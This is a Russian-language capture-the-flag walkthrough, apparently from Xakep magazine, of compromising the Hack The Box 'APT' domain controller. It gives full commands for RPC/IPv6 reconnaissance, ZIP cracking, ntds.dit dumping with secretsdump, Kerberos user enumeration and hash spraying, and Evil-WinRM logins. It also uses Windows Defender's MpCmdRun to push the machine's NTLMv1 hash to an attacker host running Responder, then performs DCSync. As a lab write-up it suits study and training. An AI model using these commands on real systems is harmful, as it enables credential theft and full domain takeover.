Хакер - HTB APT. Проводим разведку через RPC и используем Windows Defender для захвата хоста

Хакер - HTB APT. Проводим разведку через RPC и используем Windows Defender для захвата хоста

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Сканирование DCE/RPC
  • Сканирование портов IPv6
  • Шара
  • Точка входа
  • Получение учетных записей
  • Брутфорс учетки
  • Закрепление
  • Тикет Kerberos
  • Дампинг учетных данных
  • Продвижение
  • Эскалация привилегий
  • Похищение хеша
  • Атака DCSync

В этой статье с помощью DCE/RPC узна­ём IPv6-адрес хос­та, лома­ем ZIP-архив, получа­ем бэкапы базы уче­ток AD, бру­тим име­на поль­зовате­лей c помощью Kerberos, чита­ем дан­ные из реес­тра уда­лен­ного хос­та бла­года­ря Silver Ticket и дела­ем дру­гие инте­рес­ные вещи, что­бы прой­ти лабора­торию APT с пло­щад­ки Hack The Box. Уро­вень слож­ности — Insane!

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

IP-адрес машины — 10.10.10.213, я добав­лю его в /etc/hosts и даль­ше буду обра­щать­ся к ней по адре­су apt.htb.

Даль­ше, как всег­да, ска­ниру­ем пор­ты с помощью Nmap. Если читал дру­гие про­хож­дения, то уже, навер­ное, ско­пиро­вал мой скрипт. Он сна­чала ска­ниру­ет весь диапа­зон, а затем пов­торно про­ходит­ся по най­ден­ным пор­там, исполь­зуя скрип­ты (опция -A).

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

На­ходим два откры­тых пор­та:

  • порт 80 — веб‑сер­вер Microsoft IIS;
  • порт 135 — служ­ба Microsoft RPC.

Пер­вичный ана­лиз сай­та ничего не дал (кро­ме еще одно­го домен­ного име­ни), поэто­му, пока мы не засели за его глу­бокое тес­тирова­ние, мож­но быс­трень­ко про­верить служ­бу RPC.

Стар­товая стра­ница сай­та

Мы можем выпол­нить пол­ный дамп записей при помощи rpcdump (в качес­тве парамет­ра нуж­но передать толь­ко номер пор­та), но это ничего инте­рес­ного нам не дает.

rpcdump.py apt.htb -p 135

Но rpcdump не выпол­няет зап­росы DCE/RPC.

Сканирование DCE/RPC

DCE/RPC — это сис­тема уда­лен­ного вызова про­цедур, раз­работан­ная для рас­пре­делен­ной вычис­литель­ной сре­ды. Эта сис­тема поз­воля­ет прог­раммис­там занимать­ся раз­работ­кой рас­пре­делен­ного соф­та так, буд­то все работа­ет на том же компь­юте­ре, без необ­ходимос­ти вол­новать­ся за код, отве­чающий за работу с сетью. Мы можем прос­каниро­вать DCE/RPC и поис­кать служ­бы, которые дос­тупны через TCP. Для ска­ниро­вания подой­дет модуль tcp_dcerpc_auditor из Metasploit Framework.

msfconsole

use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor

set RHOSTS apt.htb

run

Ре­зуль­тат DCE/RPC-ска­ниро­вания

В резуль­тате мы получа­ем два GUID, зна­чение которых мы можем пос­мотреть на сай­те Microsoft. Там мы узна­ем, что GUID 99fcfec4-5260-101b-bbcb-00aa0021347a отве­чает за интерфейс IObjectExporter, о котором мы можем почитать в докумен­тацииIObjectExporter — это служ­ба, которая запус­кает­ся на каж­дой машине, где есть под­дер­жка COM+. Он уда­лен­но исполь­зует­ся для дос­тупа к локаль­ному рас­позна­вате­лю объ­ектов.

Таб­лица соот­ветс­твия GUID и целево­го объ­екта

Од­но из пред­назна­чений IObjectExporter — раз­решение OXID. Ког­да кли­ент получа­ет OXID как часть ссыл­ки на объ­ект, ему не­обхо­димо опре­делить информа­цию при­вяз­ки RPC, нуж­ную для свя­зи с уда­лен­ным неиз­вес­тным объ­ектом экспор­тера объ­екта. Наибо­лее инте­ресен метод ServerAlive2(), с помощью которо­го мож­но получить сетевые адре­са. Это мож­но авто­мати­зиро­вать! Выпол­ним ска­ниро­вание с помощью IOXIDResolver.

sudo apt install python2

python2 -m pip install setuptools

python2 -m pip install impacket

python2 IOXIDResolver.py -t apt.htb

Ре­зуль­тат работы скрип­та IOXIDResolver

В резуль­тате получим IPv6-адрес хос­та.

Сканирование портов IPv6

Мы получи­ли нуж­ный адрес — нуж­но его прос­каниро­вать ана­логич­но пер­вому, так как некото­рые служ­бы могут отве­чать по IPv6 и не отве­чать по IPv4. Исполь­зуем тот же скрипт, что и при пер­вом ска­ниро­вании.

Ре­зуль­таты ска­ниро­вания пор­тов по IPv6-адре­су

Ви­дим мно­го служб. Я добавил новую запись в /etc/hosts.

dead:beef::b885:d62a:d679:573f apt.htb.local

Пор­ты 80 и 135 пре­дос­тавля­ют такую же информа­цию, что и по IPv4, к LDAP не под­клю­чить­ся, зато к SMB — мож­но.

Шара

На SMB нат­равим скрипт enum4linux и пос­ле перебо­ра получим спи­сок общих дирек­торий.

enum4linux -a apt.htb.local

Спи­сок общих ресур­сов SMB

Как вид­но в отче­те, мы можем получить неав­торизо­ван­ный дос­туп к дирек­тории backup. Под­клю­чаем­ся с помощью smbclient и находим там архив, который ска­чива­ем на локаль­ный хост коман­дой get.

smbclient \\\\apt.htb.local\\backup --no-pass

Со­дер­жимое обще­го ресур­са backup

Со­дер­жимое архи­ва очень инте­рес­ное. Файл ntds.dit — это база дан­ных, в которой хра­нит­ся информа­ция Active Directory — такая как све­дения о поль­зовате­лях, груп­пах и членс­тве в груп­пах. База так­же вклю­чает хеши паролей для всех поль­зовате­лей в домене. Файл зашиф­рован, но клю­чи наш­лись в фай­ле SYSTEM.

Со­дер­жимое архи­ва

ТОЧКА ВХОДА

Получение учетных записей

Сам архив запаро­лен, но вскрыть ZIP не проб­лема. Мож­но поп­робовать быс­тро переб­рать пароль с помощью fcrackzip, ука­зав сле­дующие парамет­ры:

  • -b — исполь­зовать перебор паролей;
  • -D — перебор по сло­варю;
  • -p [] — путь к сло­варю.

Я буду исполь­зовать базу паролей rockyou.

fcrackzip -b -D -p ~/tmp/tools/rockyou.txt ./backup.zip

Ре­зуль­тат перебо­ра пароля

Без тру­да находим вер­ный пароль от архи­ва. Давай теперь извле­чем фай­лы и рас­шифру­ем учет­ные дан­ные поль­зовате­лей домена из базы ntds.dit. Для это­го исполь­зуем скрипт secretsdump из пакета impacket. Скрип­ту переда­ем фай­лы ntds.dit и SYSTEM, а резуль­тат сох­раним в файл.

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL > ntds_extract.txt

По­лучен­ные учет­ные дан­ные поль­зовате­лей домена

Мы уви­дим очень мно­го дан­ных. В таких слу­чаях луч­ше отдель­но сде­лать спи­сок поль­зовате­лей и спи­сок их хешей.

cat ntds_extract.txt | grep ":::" | cut -d ':' -f 1 > users.txt

cat ntds_extract.txt | grep ":::" | cut -d ':' -f 4 > hashes.txt

Брутфорс учетки

Так как этот спи­сок получен из бэкапов, давай про­верим, какие поль­зовате­ли есть в сис­теме в дан­ный момент.

Пе­речис­лить толь­ко име­на поль­зовате­лей мож­но с помощью Kerberos. Для любого поль­зовате­ля мы можем зап­росить ключ (AS key) Kerberos, который будет зашиф­рован с помощью пароля это­го поль­зовате­ля. И если в UAC учет­ной записи уста­нов­лен флаг DONT_REQ_PREAUTH (не тре­бует­ся пред­варитель­ная про­вер­ка под­линнос­ти Kerberos), то сер­вер вер­нет нам ключ. Но дело в том, что сер­вер раз­лича­ет ответ «дан­ный флаг не уста­нов­лен» и «учет­ная запись не сущес­тву­ет». Получа­ется, что мы можем перечис­лить име­на поль­зовате­лей, и, если ответ «флаг не уста­нов­лен», зна­чит, такой поль­зователь есть. Все дей­ствия уже реали­зова­ны в скрип­те kerbrute.

kerbrute userenum --domain htb.local --dc apt.htb.local ./users.txt

Ре­зуль­тат работы скрип­та

На­ходим три учет­ные записи. Пер­вая из них — учет­ная запись самого компь­юте­ра, вто­рая запись стан­дар­тна, а вот третья уже поль­зователь­ская. Поп­робу­ем переб­рать для это­го поль­зовате­ля най­ден­ные хеши. Так как ути­лита CME не работа­ет по IPv6, нам при­дет­ся исполь­зовать прог­раммы, которые работа­ют с хешами, и так как мы уже начали искать поль­зовате­ля с помощью Kerberos, то будем переби­рать хеш там же с помощью getTGT (тоже вхо­дит в пакет impacket). Исполь­зуем сле­дующий bash-скрипт:

for i in $(cat hashes.txt) ;

do echo $i ;

getTGT.py htb.local/henry.vinson -hashes :$i -dc-ip apt.htb.local | grep Kerberos ;

done

Ре­зуль­тат работы скрип­та

Сре­ди информа­ции, где сооб­щает­ся, что аутен­тифика­цион­ная информа­ция невер­на, есть одно сооб­щение о несо­ответс­твии сис­темно­го вре­мени. Это вер­ный хеш, который не может прой­ти про­вер­ку вре­мени дей­ствия тикета.

ЗАКРЕПЛЕНИЕ

Тикет Kerberos

Уди­витель­но, но с най­ден­ным хешем ниг­де не получа­ется аутен­тифици­ровать­ся, поэто­му про­дол­жим упражне­ния с Kerberos и сде­лаем себе тикет (часть про­вер­ки ведь прой­дена).

Для начала нам нуж­но син­хро­низи­ровать вре­мя, что­бы раз­ница вре­мени на локаль­ном хос­те и на уда­лен­ном не пре­выша­ла пяти минут. Для получе­ния вре­мени на уда­лен­ной машине прос­каниру­ем толь­ко 445-й порт с исполь­зовани­ем скрип­тов Nmap. В качес­тве допол­нитель­ной информа­ции получим пол­ное имя домена (FQDN) и текущее сис­темное вре­мя.

nmap -6 -p445 -A apt.htb.local

Сис­темное вре­мя на уда­лен­ном хос­те

Выс­тавим такое же сис­темное вре­мя и на локаль­ном хос­те. Пос­ле чего сно­ва зап­росим тикет. Пос­ле удач­ного получе­ния билета, который будет сох­ранен в файл, экспор­тиру­ем билет.

sudo date -s "20:52:10+00:00"

getTGT.py htb.local/henry.vinson -hashes :e53d87d42adaa3ca32bdb34a876cbffb -dc-ip apt.htb.local

export KRB5CCNAME=henry.vinson.ccache

Ге­нера­ция тикета

Ма­ло что получи­лось сде­лать с билетом, зато в реес­тре точ­но получит­ся что‑нибудь най­ти. Мы можем под­клю­чить­ся к реес­тру уда­лен­ной машины, были бы учет­ные дан­ные, но у нас есть билет.

Сно­ва обра­тим­ся к пакету скрип­тов impacket, в этот раз нам нужен reg.py. Сна­чала гля­нем, можем ли мы под­клю­чить­ся и получить содер­жимое кор­невой вет­ки реес­тра поль­зователь­ско­го раз­дела. Вызыва­ем reg.py со сле­дующи­ми аргу­мен­тами:

  • --dc-ip [] — адрес кон­трол­лера домена;
  • -k — исполь­зовать аутен­тифика­цию Kerberos;
  • query — зап­рос.

reg.py -dc-ip apt.htb.local -k apt.htb.local query -keyName HKU

Со­дер­жимое кор­невой вет­ки реес­тра поль­зователь­ско­го раз­дела

Дампинг учетных данных

Час­то быва­ет такое, что некото­рые при­ложе­ния хра­нят в реес­тре важ­ные для ата­ки дан­ные, такие как пути к кон­фигу, сами кон­фиги, учет­ные дан­ные, сек­реты, токены. Давай пос­мотрим вет­ку реес­тра Software рекур­сивно, для чего исполь­зуем параметр -s.

reg.py -dc-ip apt.htb.local -k apt.htb.local query -keyName HKU\\Software -s

Со­дер­жимое вет­ки реес­тра Software поль­зователь­ско­го раз­дела

И сра­зу получим учет­ные дан­ные!

ПРОДВИЖЕНИЕ

Сре­ди обна­ружен­ных откры­тых пор­тов был порт 5985, который отве­чает за служ­бу уда­лен­ного управле­ния WS-Man. Сто­ит попытать­ся получить кон­троль над машиной с помощью очень удоб­ной ути­литы Evil-WinRM. Пос­ле получе­ния кон­тро­ля забира­ем флаг поль­зовате­ля.

evil-winrm -i apt.htb.local -u henry.vinson_adm -p 'G1#Ny5@2dvht'

Поль­зователь­ский флаг

ЭСКАЛАЦИЯ ПРИВИЛЕГИЙ

Что­бы понять, куда дви­гать­ся даль­ше, я обыч­но исполь­зую скрип­ты PEASS. Увы, в этот раз они не обна­ружи­ли ничего, что мог­ло бы нас под­тол­кнуть к повыше­нию при­виле­гий. Одна­ко я по опы­ту знаю, что PEASS не про­веря­ет файл ConsoleHost_history.txt. Это ана­лог фай­ла .bash_history из Linux, который вклю­чен по умол­чанию начиная с PowerShell 5. Рас­положен он вот по такому пути:

APPDATA\Microsoft\Windows\PowerShell\PSReadLine

Это важ­ный источник информа­ции о коман­дах, которые выпол­нял поль­зователь, и фай­лах, с которы­ми он работал. Воз­можно, даже о паролях!

Со­дер­жимое фай­ла ConsoleHost_history.txt

Похищение хеша

В извле­чен­ной из ConsoleHost_history.txt коман­де парамет­ру LmCompatibilityLevel прис­ваивает­ся зна­чение 2, а находит­ся он вот в этой вет­ке:

HKLM\System\CurrentControlSet\Control\Lsa\

Этот параметр опре­деля­ет, какой про­токол про­вер­ки под­линнос­ти зап­роса или отве­та исполь­зует­ся для сетевых учет­ных дан­ных. Стан­дар­тный про­токол Active Directory — это Kerberos, но, если по какой‑то при­чине он не сог­ласован, Active Directory исполь­зует LM, NTLM или NTLMv2.

Так вот, если LmCompatibilityLevel име­ет зна­чение 2, то для про­вер­ки под­линнос­ти кли­ент­ско­го устрой­ства будет исполь­зовать­ся толь­ко про­токол NTLMv1. А это зна­чит, что если мы зас­тавим сер­вер обра­тить­ся к сво­ему локаль­ному хос­ту, то смо­жем получить NTLMv1-хеш пароля учет­ной записи компь­юте­ра. Мно­жес­тво тех­ник, которые помогут это­го дос­тичь, перечис­лены в репози­тории All_NTLM_leak.

Нап­ример, хеш мож­но получить при помощи Windows Defender. Сна­чала запус­тим на локаль­ном хос­те скрипт Responder, что­бы отлавли­вать хеши. Взло­мать хеши NTLMv1 мож­но с помощью ресур­са crack.sh, но бес­плат­но это мож­но сде­лать, толь­ко если challenge равен 1122334455667788, поэто­му в фай­ле кон­фигура­ции /etc/responder/Responder.conf зададим это зна­чение и запус­тим Responder.

Из­менен­ное зна­чение Challenge

responder -I 10.10.13.31 --lm

А теперь зас­тавим Windows Defender ска­ниро­вать файл на нашем хос­те. Это вызовет про­цесс аутен­тифика­ции. Как толь­ко мы выпол­ним ска­ниро­вание, в окне Responder появит­ся хеш.

C:\Program Files\Windows Defender\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.31\qweqwe

NTLMv1-хеш пароля учет­ной записи хос­та

За­тем отправ­ляем хеш в фор­мате $NETNTLM$[challenge]$[hash], а ключ получа­ем на ука­зан­ную поч­ту.

Фор­ма отправ­ки хеша NTLMv1
Со­обще­ние об успешном взло­ме клю­ча

Атака DCSync

Это хеш пароля учет­ной записи компь­юте­ра. Это при­виле­гиро­ван­ная учет­ка, которая поз­волит нам выпол­нить ата­ку DCSync — симуля­цию поведе­ния кон­трол­лера домена. Она при­водит к пол­ной реп­ликации кри­тичес­ких дан­ных, в том чис­ле и всех уче­ток.

secretsdump.py 'APT$@apt.htb.local' -hashes :d167c3238864b12f5f82feae86a7f798

Учет­ные дан­ные поль­зовате­лей домена

По­лучив хеш пароля адми­нис­тра­тора, под­клю­чаем­ся к хос­ту с помощью той же служ­бы WS-Man.

evil-winrm -i apt.htb.local -u Administrator -H c370bddf384a691d811ff3495e8a72e2

Флаг адми­нис­тра­тора

Флаг адми­нис­тра­тора получен, машина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei




Report Page